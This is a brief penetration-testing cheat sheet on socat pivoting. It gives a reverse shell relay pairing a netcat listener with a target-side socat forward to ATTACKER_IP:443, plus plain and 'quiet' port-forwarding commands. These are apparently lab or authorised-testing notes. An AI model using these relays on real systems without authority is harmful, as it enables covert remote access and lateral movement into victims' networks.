Socat

Reverse shell relay

Attacker:

sudo nc -lvnp 443 

Target:

./socat tcp-l:8000 tcp:ATTACKER_IP:443 &

Port Forwarding

Run this on target machine, then browse to TARGET_IP:1234 from Kali machine to access the application

socat TCP-LISTEN:1234,fork,reuseaddr tcp:127.0.0.1:8080 & 

Fork: Puts every connection into a new process

Reuseaddr: The port stays open after a connection is made to it.

Port forwarding (Quiet)

Attacker:

socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &

Target:

./socat tcp:ATTACKER_IP:8001 tcp:TARGET_IP:TARGET_PORT,fork &

Close backgrounded socat

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jobs

kill %num% of process